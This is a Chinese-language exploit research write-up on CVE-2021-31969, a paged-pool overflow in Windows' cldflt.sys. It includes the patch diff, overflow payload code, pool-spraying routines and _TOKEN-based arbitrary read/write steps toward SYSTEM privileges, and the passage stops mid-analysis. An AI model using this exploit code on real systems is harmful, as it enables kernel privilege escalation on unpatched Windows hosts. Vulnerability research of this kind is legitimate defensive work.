Chunk大小限制下的池溢出漏洞利用

admin 2024年6月20日13:43:10评论3 views字数 28099阅读93分39秒阅读模式

引言

内存破坏漏洞的普遍性持续存在,对利用构成了持续的挑战。这种增加的难度源于防御机制的进步和软件系统复杂性的提升。虽然一个基本的概念验证通常足以修复漏洞,但开发一个能够绕过现有对策的功能性漏洞利用为了解高级威胁行为者的能力提供了宝贵的见解。这尤其适用于经过审查的驱动程序 cldflt.sys,自六月以来的每个补丁星期二都持续获得补丁。值得注意的是,在 clfs.sysafd.sys 驱动程序的漏洞利用之后,它已成为威胁行为者的焦点。在本文中,我们旨在强调 cldflt.sys 的重要性,并倡导对这一驱动程序及其相关组件进行更多的研究。

现在转向特定的漏洞,CVE-2021-31969 最初看起来由于其限制性而难以利用。然而,通过操纵分页池,可以将一个看似孤立的池溢出提升为一个全面的任意读写场景。这种漏洞利用授予了提升的访问权限,允许以 SYSTEM 身份获得一个 shell。

描述

Windows 云文件小型过滤器驱动程序权限提升漏洞

受影响版本

  • Windows 10 1809-21H2
  • Windows Server 2019

补丁差异

操作系统: Windows 10 1809
二进制文件: cldflt.sys Chunk大小限制下的池溢出漏洞利用

补丁前

版本: KB5003217
哈希值: 316016b70cd25ad43a0710016c85930616fe85ebd69350386f6b3d3060ec717e

  v7 = *(_DWORD *)(a1 + 8);
  someSize = HIWORD(v7);
  if ( !_bittest((const int *)&v7, 0xFu) )
  {
    *a3 = a1;
    return (unsigned int)v3;
  }
  allocatedSize = someSize + 8;
  allocatedMem = ExAllocatePoolWithTag(PagedPool, someSize + 8'pRsH');
  allocatedMemRef = allocatedMem;
  if ( !allocatedMem )
  {
    LODWORD(v3) = -1073741670;
    goto LABEL_3;
  }
  *(_QWORD *)allocatedMem = *(_QWORD *)a1;
  *((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
  v3 = (unsigned int)RtlDecompressBuffer(
                       COMPRESSION_FORMAT_LZNT1,
                       (PUCHAR)allocatedMem + 12,// uncompressed_buffer
                       allocatedSize - 12,      // uncompressed_buffer_size
                       (PUCHAR)(a1 + 12),
                       a2 - 12,
                       (PULONG)va);

补丁后

版本: KB5003646
哈希值: 5cef11352c3497b881ac0731e6b2ae4aab6add1e3107df92b2da46b2a61089a9

    someSize = *(_WORD *)(a1 + 10);
    if ( someSize >= 4u )
    {
      if ( (*(_DWORD *)(a1 + 8) & 0x8000) == 0 )
      {
        *a3 = a1;
        return (unsigned int)status;
      }
      allocatedSize = someSize + 8;
      allocatedMem = ExAllocatePoolWithTag(PagedPool, allocatedSize, 'pRsH');
      allocatedMemRef = allocatedMem;
      if ( !allocatedMem )
      {
        LODWORD(status) = 0xC000009A;
        goto LABEL_3;
      }
      *(_QWORD *)allocatedMem = *(_QWORD *)a1;
      *((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
      status = (unsigned int)RtlDecompressBuffer(
                               COMPRESSION_FORMAT_LZNT1,
                               (PUCHAR)allocatedMem + 12,// uncompressed_buffer
                               allocatedSize - 12,// uncompressed_buffer_size
                               (PUCHAR)(a1 + 12),
                               a2 - 12,
                               (PULONG)va);

漏洞分析

引入的补丁包含了一个验证机制,以确保变量 someSize 的最小值为 4。

在应用此补丁之前,变量 someSize 没有设置下限为 4,可能会导致 allocatedSize 低于 12 的情况。因此,出现了 UncompressedBufferSize 参数向 RtlDecompressBuffer 函数提供的值为负值的情况,触发了 无符号整数下溢,循环包裹到 0xFFFFFFF4

根据 LZNT1 规范,压缩缓冲区中的第一个 WORD 是一个包含元数据的头,例如缓冲区是否被压缩及其大小。

压缩数据包含在一个单一的块中。块头,解释为一个16位值,是 0xB038。位 15 是 1,所以块是压缩的;位 14 到 12 是正确的签名值(3);位 11 到 0 是十进制 56,所以块的大小是 59 字节。

由于头是用户可控的,可以将其标记为未压缩。 这导致 RtlDecompressBuffer 的行为像 memcpy。 在大小和数据受用户控制的情况下,可以进行控制的 分页池溢出

结构体

上面显示的变量 a1REPARSE_DATA_BUFFER 类型。

typedef struct _REPARSE_DATA_BUFFER {
  ULONG  ReparseTag;
  USHORT ReparseDataLength;
  USHORT Reserved;
  struct {
    UCHAR DataBuffer[1];
  } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

GenericReparseBuffer.DataBuffer 包含由过滤器驱动程序设置的自定义数据。

struct cstmData
{

  WORD flag;
  WORD cstmDataSize;
  UCHAR compressedBuffer[1];
};

第一个 WORD 是一个标志,后面是一个影响内存分配的大小,最后是传递给 RtlDecompressBuffer 的压缩缓冲区。

这些数据存储在目录的重解析标记内,并将在下面提到的情况下被检索和解压缩。

HsmpRpReadBuffer

v9 = (unsigned int)FltFsControlFile(
                       Instance,
                       FileObject,
                       FSCTL_GET_REPARSE_POINT,
                       0i64,
                       0,
                       reparseData,
                       0x4000u,
                       0i64);

...

status = HsmpRpiDecompressBuffer(reparseData, reparseDataSize, someOut);

触发漏洞

在 Windows 10 1809 的新副本上,默认情况下,小型过滤器不附加到任何驱动器。Chunk大小限制下的池溢出漏洞利用

需要注册才能附加它。

HRESULT RegisterAndConnectSyncRoot(LPCWSTR Path, CF_CONNECTION_KEY *Key)
{
    HRESULT                  status = S_OK;
    CF_SYNC_REGISTRATION     reg = { sizeof(CF_SYNC_REGISTRATION) };
    CF_SYNC_POLICIES         pol = { sizeof(CF_SYNC_POLICIES) };
    CF_CALLBACK_REGISTRATION table[1] = { CF_CALLBACK_REGISTRATION_END };

    reg.ProviderName = L"HackProvider";
    reg.ProviderVersion = L"99";

    pol.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    pol.Population.Primary = CF_POPULATION_POLICY_FULL;
    pol.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED;

    if ((status = CfRegisterSyncRoot(Path, &reg, &pol, 0)) == S_OK)
        status = CfConnectSyncRoot(Path, table, 0, CF_CONNECT_FLAG_NONE, Key);

    return status;
}
Chunk大小限制下的池溢出漏洞利用
附加图

现在它将通过其注册的 pre/post 操作处理程序响应文件系统操作。

通过分析处理程序并使用邻近视图进行跟踪,我们可以找到一些可能触发解压缩的路径:Chunk大小限制下的池溢出漏洞利用 将文件转换为占位符、获取(创建)文件句柄或重命名文件等操作可能导致解压缩。

例如,当获取同步根目录内文件的句柄时的调用栈:

4: kd> k
# Child-SP RetAddr Call Site
00 ffff8689`7915cf78 fffff807`5505722b cldflt!HsmpRpiDecompressBuffer
01 ffff8689`7915cf80 fffff807`5503e4b2 cldflt!HsmpRpReadBuffer+0x267
02 ffff8689`7915cff0 fffff807`5505fd29 cldflt!HsmpSetupContexts+0x27a
03 ffff8689`7915d120 fffff807`5505fea9 cldflt!HsmiFltPostECPCREATE+0x47d
04 ffff8689`7915d1c0 fffff807`52a3442e cldflt!HsmFltPostCREATE+0x9
05 ffff8689`7915d1f0 fffff807`52a33cf3 FLTMGR!FltpPerformPostCallbacks+0x32e
14: kd> dt _FILE_OBJECT @rdx
ntdll!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffff8687`c43a8c00 _DEVICE_OBJECT
+0x010 Vpb : 0xffff8687`c43f69a0 _VPB
+0x018 FsContext : 0xffff9985`38f8e6f0 Void
+0x020 FsContext2 : 0xffff9985`36ff4a00 Void
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : (null)
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0x1 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x0x4d SharedRead : 0x1 ''
+0x04e SharedWrite : 0x1 ''
+0x04f SharedDelete : 0x1 ''
+0x050 Flags : 0x40002
+0x058 FileName : _UNICODE_STRING "WindowsTemphaxvuln"
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 1
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffff8e85`b1dc0910 - 0xffff8e85`b1dc0910 ]
+0x0d0 FileObjectExtension : (null)

这意味着我们可以将任意重解析数据写入同步根目录内创建的目录,并获取它的句柄以触发内存池溢出。

CreateDirectoryW(OverwriteDir, NULL);

hOverwrite = CreateFileW(
        OverwriteDir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL
    );

status = DeviceIoControl(
        hOverwrite,
        FSCTL_SET_REPARSE_POINT_EX,
        newReparseData,
        newSize,
        NULL,
        0,
        &returned,
        NULL
    );

CloseHandle(hOverWrite);

// 触发漏洞
hOverwrite = CreateFileW(
        OverwriteDir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL
    );

使用 FSCTL_SET_REPARSE_POINT_EX 是因为驱动程序为 FSCTL_SET_REPARSE_POINT 注册了一个 pre-op 处理程序,它拒绝了我们的请求。

if ( v2->Parameters.FileSystemControl.Buffered.InputBufferLength >= 4
    && (Context && (*(_DWORD *)(*((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0
     || (*(_DWORD *)v2->Parameters.FileSystemControl.Buffered.SystemBuffer & 0xFFFF0FFF) == dword_1E4F0) )
  {
    if ( Context )
    {
      v3 = *((_QWORD *)Context + 2);
      v4 = *(_QWORD *)(*(_QWORD *)(v3 + 16) + 32i64);
    }
    HsmDbgBreakOnStatus(0xC000CF18);
    if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
      && (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
      && BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
    {
      WPP_SF_qqqd(
        WPP_GLOBAL_Control->AttachedDevice,
        17i64,
        &WPP_7c63b6f3d9f33043309d9f605c648752_Traceguids,
        Context,
        v3,
        v4,
        0xC000CF18);
    }
    a1->IoStatus.Information = 0i64;
    v7 = 4;
    a1->IoStatus.Status = 0xC000CF18;
  }

检查位于 (*(_DWORD *)(*((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0 中。Context 不受用户控制,因此这个调用总是会失败。

如上所述,我们可以控制压缩缓冲区的内容,使得 RtlDecompressBuffer 的行为像 memcpy

    // 控制大小,控制内容溢出!
    *(WORD *)&payload[0] = 0x8000// 通过标志检查
    *(WORD *)&payload[2] = 0x0// 触发下溢的大小
    *(WORD *)&payload[4] = 0x30-1// lznt1 头:未压缩,0x30 大小
    memset(&payload[6], 'B'0x100);

这个特定的重解析缓冲区会导致在分页池中分配 0x20 大小的内存。

1: kd> !pool @rax
Pool page ffff9f0ab3547090 region is Paged pool
ffff9f0ab3547000 size: 60 previous size: 0 (Free) .....
ffff9f0ab3547060 size: 20 previous size: 0 (Allocated) Via2
*ffff9f0ab3547080 size: 20 previous size: 0 (Allocated) *HsRp
Owning component : Unknown (update pooltag.txt)
ffff9f0ab35470a0 size: 20 previous size: 0 (Allocated) Ntfo
ffff9f0ab35470c0 size: 20 previous size: 0 (Allocated) ObNm
ffff9f0ab35470e0 size: 20 previous size: 0 (Allocated) PsJb
ffff9f0ab3547100 size: 20 previous size: 0 (Allocated) VdPN
ffff9f0ab3547120 size: 20 previous size: 0 (Allocated) Via2

然而,精心制作的 LZNT1 头将导致从偏移量 0xC 开始的内存中复制 0x30 Bs,对于只能容纳 0x10 字节用户数据的池分配,因此会导致 0x2C 字节的溢出,破坏邻近的块,最终导致 BSOD。

4: kd> g
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000007e
(0xFFFFFFFFC0000005,0xFFFFF804044ED09A,0xFFFFDA8F76595748,0xFFFFDA8F76594F90)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

溢出的内容和大小完全在我们的控制之下,而分配的块固定在 0x20 字节。

限制

我们只有一次溢出的机会,所以我们希望一个对象能同时执行读写操作。

在现代 Windows 上,小于 0x200 字节的池分配由 Low Fragmentation Heap(LFH) 管理(如果它处于活动状态)。对于像 0x20 这样的常见大小,LFH 桶无疑在漏洞利用开始时就被激活了。在 LFH 的控制下,易受攻击的块只会与同一桶中其他 0x20 大小的块相邻,这阻止了溢出到像 WNF 这样强大的相邻对象的简单方法,以改进原始方法。此外,找到一个 0x20 大小的对象来实现任意读写是困难的,因为 0x20 大小的分配实际上只能容纳 0x10 字节的数据。

改进原始方法

在继续利用之前,充分理解手头的原始方法是非常重要的。对于涉及探索其最大可能大小的溢出。

尽管看起来我们在 LZNT1 头中可以指定的最大大小只有 0xFFF,但这只是针对一个压缩块。

typedef struct
{

    WORD Size;
    BYTE Data[4096];
} LZNT1Chunk;

上面的每个结构描述了一个页面大小的块。 通过分配多个结构,我们可以使用 RtlDecompressBuffer 写入多达 0xFFFFFFFF 字节。

void CreatePayload(PBYTE *CreatedPayload)
{
    WORD       *payload = NULL;
    LZNT1Chunk *buf = NULL;
    DWORD      remaining = OVERFLOW_SIZE;
    DWORD      pagesToOverflow = 0;
    DWORD      effectiveSize = 0;

    pagesToOverflow = (remaining % PAGE_SIZE) ? (remaining / PAGE_SIZE) + 1 : (remaining / PAGE_SIZE);

    payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LZNT1Chunk) * pagesToOverflow + 4); // metadata
    if (!payload) {
        printf("[-] HeapAlloc fail: 0x%08Xn", GetLastError());
        return;
    }

    payload[0] = 0x8000// pass flag check
    payload[1] = 0// trigger integer underflow

    buf = (ULONG64)payload + 4;

    for (int i = 0; i < pagesToOverflow; i++) {
        if (remaining >= PAGE_SIZE)
            buf[i].Size = PAGE_SIZE - 1;
        else
            buf[i].Size = remaining - 1;

        effectiveSize = buf[i].Size + 1;
        for (int j = 0; j < effectiveSize / sizeof(DWORD); j++)
            ((DWORD *)(&buf[i].Data))[j] = PAGE_SIZE; // spray 0x1000 values

        remaining -= PAGE_SIZE;
    }

    *CreatedPayload = payload;
    return;
}

然而,回想一下 HsmpRpReadBuffer 函数仅检索包括头在内的最多 0x4000 字节的重解析数据。这留给我们的最大溢出空间不足4页。

利用思路

唯一合乎逻辑的方式仍然是溢出到另一个大小的对象中,以获得更多的控制权。有了大约4页的数据可以写入,也许我们可以完全写入LFH之外?也许可以写入另一个子段?

通过在分页池中分配大量0x20块,我们可以耗尽当前所有可用的0x20 LFH桶。当这种情况发生时,后端分配器为一些新的LFH桶分配了一个新的段。

同时,我们在同一个页面中分配大量相邻的 _WNF_STATE_DATA_TOKEN 对象。这将耗尽当前所有可用的VS子段,迫使前端分配器分配新的VS子段。

不同类型的子段(LFH/VS)可以是连续的在池内存中。这意味着如果我们运气好(并且喷得足够多),我们可以最终在内存中让一个LFH桶与一个VS子段相邻。

Chunk大小限制下的池溢出漏洞利用
溢出图

如果在受害者块和VS子段之间少于4页的LFH桶,我们可以溢出到VS子段,并控制住那里的 WNF 和 TOKEN 对象。

溢出数据将由值为 0x1000 的 DWORD 组成。目标是将 _WNF_STATE_DATA->AllocatedSize_WNF_STATE_DATA->DataSize 覆盖为 0x1000,给我们一个相对页面读写原语,我们将使用它来操作紧随其后的 _TOKEN 对象。

LFH 池喷雾

存在一个名为 _TERMINATION_PORT 的对象,它导致 0x20 大小的分配,并且可以自由分配。

//0x10 字节(大小)
struct _TERMINATION_PORT
{

    struct _TERMINATION_PORTNext;                                         //0x0
    VOID* Port;                                                             //0x8
}; 

通过使用 ALPC(LPC) 端口对象调用 NtRegisterThreadTerminatePort,我们可以在分页池中分配 _TERMINATION_PORT 的一个实例。

void SprayTerminationPort(DWORD *Count)
{
    ALPC_PORT_ATTRIBUTES    alpcAttr = { 0 };
    OBJECT_ATTRIBUTES       objAttr = { 0 };
    HANDLE                  hConnPort = NULL;
    UNICODE_STRING          uPortName = { 0 };
    NTSTATUS                status = STATUS_SUCCESS;

    RtlInitUnicodeString(&uPortName, L"\RPC Control\My ALPC Test Port");
    InitializeObjectAttributes(&objAttr, &uPortName, 0NULLNULL);
    
    alpcAttr.MaxMessageLength = AlpcMaxAllowedMessageLength();

    status = NtAlpcCreatePort(&hConnPort, &objAttr, &alpcAttr);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtAlpcCreatePort Error: 0x%08Xn", status);
        return;
    }

    for (int i = 0; i < *Count; i++)
        NtRegisterThreadTerminatePort(hConnPort);

    printf("[+] Sprayed 0x%lx _TERMINATION_PORT objectsn", *Count);

    g_TerminationPortSprayDone = 1;
    while (!g_FreeTerminationPortObjects)
        Sleep(1500);

    return;
}

这个对象将被标记到当前线程的 _ETHREAD 对象上,并在线程终止时被释放。

溢出后

所有执行控制溢出的步骤在上面都详细说明了。假设我们已经成功地溢出到一个 VS 子段,接下来是什么步骤?

如果我们完成溢出时操作系统还没有崩溃,这是一个好兆头,至少意味着我们没有写入未映射的内存。通过查询所有的 WNF 块,我们可以找到成功被覆盖的块。

int WnfFindUsableCorruptedChunk(DWORD WnfObjectSize)
{
    WNF_CHANGE_STAMP stamp = 0;
    BYTE             buf[PAGE_SIZE];
    DWORD            bufSize = WnfObjectSize;
    DWORD            wnfToTokenOffset = WnfObjectSize + 0x50;
    NTSTATUS         status = STATUS_SUCCESS;

    for (int i = 0; i < g_WnfCount; i++) {
        status = NtQueryWnfStateData(&g_Statenames[i], NULLNULL, &stamp, &buf, &bufSize);
        bufSize = WnfObjectSize;
        if (status != STATUS_BUFFER_TOO_SMALL)
            continue;
        
        printf("[*] Found corrupted chunk: 0x%lxn", i);
        bufSize = PAGE_SIZE;
        status = NtQueryWnfStateData(&g_Statenames[i], NULLNULL, &stamp, buf, &bufSize);
        if (!NT_SUCCESS(status)) {
            puts("something weird");
            printf("0x%08Xn", status);
            continue;
        }

        if (*(DWORD *)((ULONG64)buf + wnfToTokenOffset) == 0x1000)
            continue;

        printf("[*] Found usable chunk: 0x%lxn", i);
        return i;
    }

    return -1;
}

首先使用初始的 DataSize 进行查询。未被溢出的对象将无误地响应,但 DataSize 被扩大到 0x1000 的对象将返回 STATUS_BUFFER_TOO_SMALL

现在我们检查是否能够使用这个对象进行利用。 标准是它之后有一个未被触碰的 _TOKEN 对象。

我们可以通过其句柄识别目标 _TOKEN 对象,在喷雾之前分配两个数组来存储所有句柄和 ID。

BOOL TokenAllocateObject(void)
{
    BOOL             status = TRUE;
    HANDLE           hOriginal = NULL;
    DWORD            returnLen = 0;
    TOKEN_STATISTICS stats = { 0 };

    status = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hOriginal);
    if (!status) {
        printf("[-] OpenProcessToken fail: 0x%08xn", GetLastError());
        hOriginal = NULL;
        goto out;
    }

    // Allocates a _TOKEN object in kernel pool
    status = DuplicateTokenEx(hOriginal, MAXIMUM_ALLOWED, NULL, SECURITY_ANONYMOUS, TokenPrimary, &g_Tokens[g_TokenCount]);
    if (!status) {
        printf("[-] DuplicateTokenEx fail: 0x%08xn", GetLastError());
        status = FALSE;
        goto out;
    }

    status = GetTokenInformation(g_Tokens[g_TokenCount], TokenStatistics, &stats, sizeof(TOKEN_STATISTICS), &returnLen);
    if (!status) {
        printf("[-] GetTokenInformation fail: 0x%08xn", GetLastError());
        status = FALSE;
        goto out;
    }

    g_TokenIds[g_TokenCount] = stats.TokenId.LowPart; // High part is always 0

    g_TokenCount++;

out:
    if (hOriginal)
        CloseHandle(hOriginal);

    return status;
}

通过 WNF 的相对读取,我们可以提取池内存中的 TokenId 成员,并识别其对应的句柄。

任意读写

_TOKEN 对象包含许多我们可以修改的指针,以使用 Win32 API 获得任意读写能力。

任意读取

NtQueryInformationToken

case TokenBnoIsolation:
        }
        if ( Token->BnoIsolationHandlesEntry )
        {
          *((_BYTE *)TokenInformation + 8) = 1;
          *(_QWORD *)TokenInformation = (char *)TokenInformation + 16;
          memmove(
            (char *)TokenInformation + 16,
            Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
            Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
        }

通过将 Token->BnoIsolationHandlesEntry 设置为用户模式缓冲区,我们可以伪造 EntryDescriptor.IsolationPrefix.BufferEntryDescriptor.IsolationPrefix.MaximumLength 的字段。 数据将被复制到我们提供给 API 的另一个用户模式缓冲区 TokenInformation + 16

任意写入

NtSetInformationToken

如果我们指定 TokenDefaultDacl 作为 TokenInformationClass,此函数将调用 SepAppendDefaultDacl

void *__fastcall SepAppendDefaultDacl(_TOKEN *Token, unsigned __int16 *UserBuffer)
{
  int v3; // edi
  _ACL *v4; // rbx
  void *result; // rax

  v3 = UserBuffer[1];
  v4 = (_ACL *)&Token->DynamicPart[*(unsigned __int8 *)(Token->PrimaryGroup + 1) + 2];
  result = memmove(v4, UserBuffer, UserBuffer[1]);
  Token->DynamicAvailable -= v3;
  Token->DefaultDacl = v4;
  return result;
}

通过将 Token->PrimaryGroup 指向包含 null 的内存前一个字节,我们可以使得 *(unsigned __int8 *)(Token->PrimaryGroup + 1) + 2 等于 2。 我们不能将其设置为 0,因为它是一个无符号字节操作,零扩展到 64 位,正如汇编代码所示:

movzx   r8d, byte ptr [rax+1]
mov rax, [rcx+0B0h]
add rax, 8
lea rbx, [rax+r8*4]

然后我们可以将 DynamicPart 设置为 任意地址 - 0x8 并获得任意写入能力。

但有一个问题。DynamicPartPrimaryGroup 应该指向同一个地址,否则会有一个不必要的 memmove 破坏内存。

SepFreeDefaultDacl

  DynamicPart = TokenObject->DynamicPart;
  PrimaryGroup = (unsigned __int8 *)TokenObject->PrimaryGroup;
  if ( DynamicPart != (unsigned int *)PrimaryGroup )
  {
    memmove(DynamicPart, PrimaryGroup, 4i64 * PrimaryGroup[1] + 8);
    result = (__int64)TokenObject->DynamicPart;
    TokenObject->PrimaryGroup = result;
  }

为了使事情更加严格,用作大小字段的 UserBuffer[1] 必须至少为 0x8,这意味着大小字段将覆盖写入目标的两个字节。

UserBuffer 也被强制转换为 ACL 并必须通过 ACL 检查。

//0x8 字节(大小)
struct _ACL
{

    UCHAR AclRevision;                                                      //0x0
    UCHAR Sbz1;                                                             //0x1
    USHORT AclSize;                                                         //0x2
    USHORT AceCount;                                                        //0x4
    USHORT Sbz2;                                                            //0x6
}; 

这限制了 AclRevision 成员的值在 2 和 4 之间。

if ( (unsigned __int8)(Acl->AclRevision - 2) <= 2u )

AceCount 也应该为 0 以绕过进一步的检查。 最终写入的缓冲区应该像这样:

0x2   0x0    0x8    0x0    0x0     0x0     0x0      0x0
Rev Sbz1 Sz-1 Sz-2 Cnt-1 Cnt-2 Sbz2-1 Sbz2-2

这不是一个很好的原语,但仍然应该允许我们由于该区域自然出现的内存布局,将我们利用线程的 PreviousMode 字段清零。

更具体地说,我们可以将 DynamicPartPrimaryGroup 都指向 _KTHREAD+0x229

5: kd> dq  0xffffb186051c8378-0x2f8+0x229
ffffb186`051c82a9 00000000`000000ff 40010000`00090100
ffffb186`051c82b9 ff000000`00000000 00000000`000000ff
ffffb186`051c82c9 05000000`0f010000 00000000`00000000
ffffb186`051c82d9 00000000`00000000 00000000`00000000
ffffb186`051c82e9 00000000`00000000 00000000`00000000
ffffb186`051c82f9 00000000`00000000 12000000`00100000
ffffb186`051c8309 80000000`00065800 00ffffb1`86051c80
ffffb186`051c8319 00000000`00000000 70000000`00000000

然后 PrimaryGroup+1 将指向 null,将伪造的 ACL 复制到 _KTHREAD+0x2b1 并允许 Sbz1 中的 0x0 覆盖 PreviousMode

这会产生一个副作用,将线程的 BasePriority 设置为 0x8(THREAD_PRIORITY_BELOW_NORMAL),这并不严重。

有了任意读取能力,一旦我们定位到它,就能够清零 PreviousMode,最大的障碍已经被克服了。所要做的就是找到利用线程的 PreviousMode 成员的地址。

寻找 EPROCESS

大多数提升技术,包括这个,都需要我们在内核内存中定位一个 EPROCESS 结构。一旦我们定位到一个任意的 EPROCESS,我们可以通过它的 ActiveProcessLinks 成员来寻找利用进程以及系统进程。

Windows 11 Build 25915 之前的 Windows 版本上,我们可以使用众所周知的 NtQuery* API 来泄露内核地址,包括我们自己的 EPROCESS 地址。

由于这将不再起作用,我们已经有一个灵活的任意读取原语,我正在寻找其他泄露 EPROCESS 地址的方法。

有很多方法可以泄露 EPROCESS,例如读取 PsInitialSystemProcess 全局变量或蛮力攻击内核地址空间。 我将展示一个从已知 _TOKEN 对象泄露 EPROCESS 地址的捷径。

在我们已经可以从 WNF 相对读取中泄露的 _TOKEN 对象的成员中浏览时,我们可以找到一个 SessionObject 成员,它指向一个位于非分页 0xB0 LFH 桶中的块。

12: kd> !pool 0xffff9788`30cf3bd0
Pool page ffff978830cf3bd0 region is Nonpaged pool
ffff978830cf3000 size: 50 previous size: 0 (Free) .....
ffff978830cf3050 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf3100 size: b0 previous size: 0 (Allocated) Filt
ffff978830cf31b0 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf3260 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf3310 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf33c0 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3470 size: b0 previous size: 0 (Allocated) WPLg
ffff978830cf3520 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf35d0 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf3680 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf3730 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf37e0 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3890 size: b0 previous size: 0 (Allocated) ITrk
ffff978830cf3940 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf39f0 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3aa0 size: b0 previous size: 0 (Allocated) inte
*ffff978830cf3b50 size: b0 previous size: 0 (Allocated) *Sess
Owning component : Unknown (update pooltag.txt)
ffff978830cf3c00 size: b0 previous size: 0 (Allocated) Filt
ffff978830cf3cb0 size: b0 previous size: 0 (Allocated) MmMl
ffff978830cf3d60 size: b0 previous size: 0 (Allocated) PFXM
ffff978830cf3e10 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3ec0 size: b0 previous size: 0 (Allocated) inte

如果我们在其周围的池分配中浏览,我们可以找到许多标记为 AlIn 的分配。

12: kd> !pool 0xffff9788`30cf4000
Pool page ffff978830cf4000 region is Nonpaged pool
ffff978830cf4020 size: b0 previous size: 0 (Allocated) Sess
ffff978830cf40d0 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf4180 size: b0 previous size: 0 (Allocated) WPLg
ffff978830cf4230 size: b0 previous size: 0 (Allocated) Filt
ffff978830cf42e0 size: b0 previous size: 0 (Allocated) Filt
ffff978830cf4390 size: b0 previous size: 0 (Allocated) inte
ffff978830cf4440 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf44f0 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf45a0 size: b0 previous size: 0 (Allocated) inte
ffff978830cf4650 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4700 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf47b0 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4860 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4910 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf49c0 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4a70 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4b20 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4bd0 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4c80 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4d30 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4de0 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4e90 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf4f40 size: b0 previous size: 0 (Allocated) AlIn

这些分配似乎总是位于 SessionObject 附近,并且数量众多。

我不知道这个分配的数据类型是什么,所以我使用 windbg 转储了它内部的指针。

12: kd> .foreach (addr {dps ffff978830cf4c80 La0}) {!object addr}

ffff8f8ed1576618: Not a valid object (ObjectType invalid)
0: not a valid object (ObjectHeader invalid @ -offset 30)
4: not a valid object (ObjectHeader invalid @ -offset 30)
0: not a valid object (ObjectHeader invalid @ -offset 30)
0: not a valid object (ObjectHeader invalid @ -offset 30)
ffff978830cf4cf8: Not a valid object (ObjectType invalid)
Object: ffff978832c67380 Type: (ffff978830805e60) IoCompletion
ObjectHeader: ffff978832c67350 (new version)
HandleCount: 1 PointerCount: 32748
264ffe62090: not a valid object (ObjectHeader invalid @ -offset 30)
0: not a valid object (ObjectHeader invalid @ -offset 30)
ffff978832728420: Not a valid object (ObjectType invalid)
ffff978830cf4c90: Not a valid object (ObjectType invalid)
ffff978830cf4cc8: Not a valid object (ObjectType invalid)

allocation+0x38 处持有一个指向 IoCompletion 对象的指针,我同样不知道它的类型。查看其周围的池布局显示它被许多 EtwR 对象一致地包围。

7: kd> !pool ffffd685bcbeb7c0 
Pool page ffffd685bcbeb7c0 region is Nonpaged pool
ffffd685bcbeb000 size: 50 previous size: 0 (Free) .....
ffffd685bcbeb050 size: e0 previous size: 0 (Allocated) EtwR
ffffd685bcbeb130 size: e0 previous size: 0 (Allocated) EtwR
...
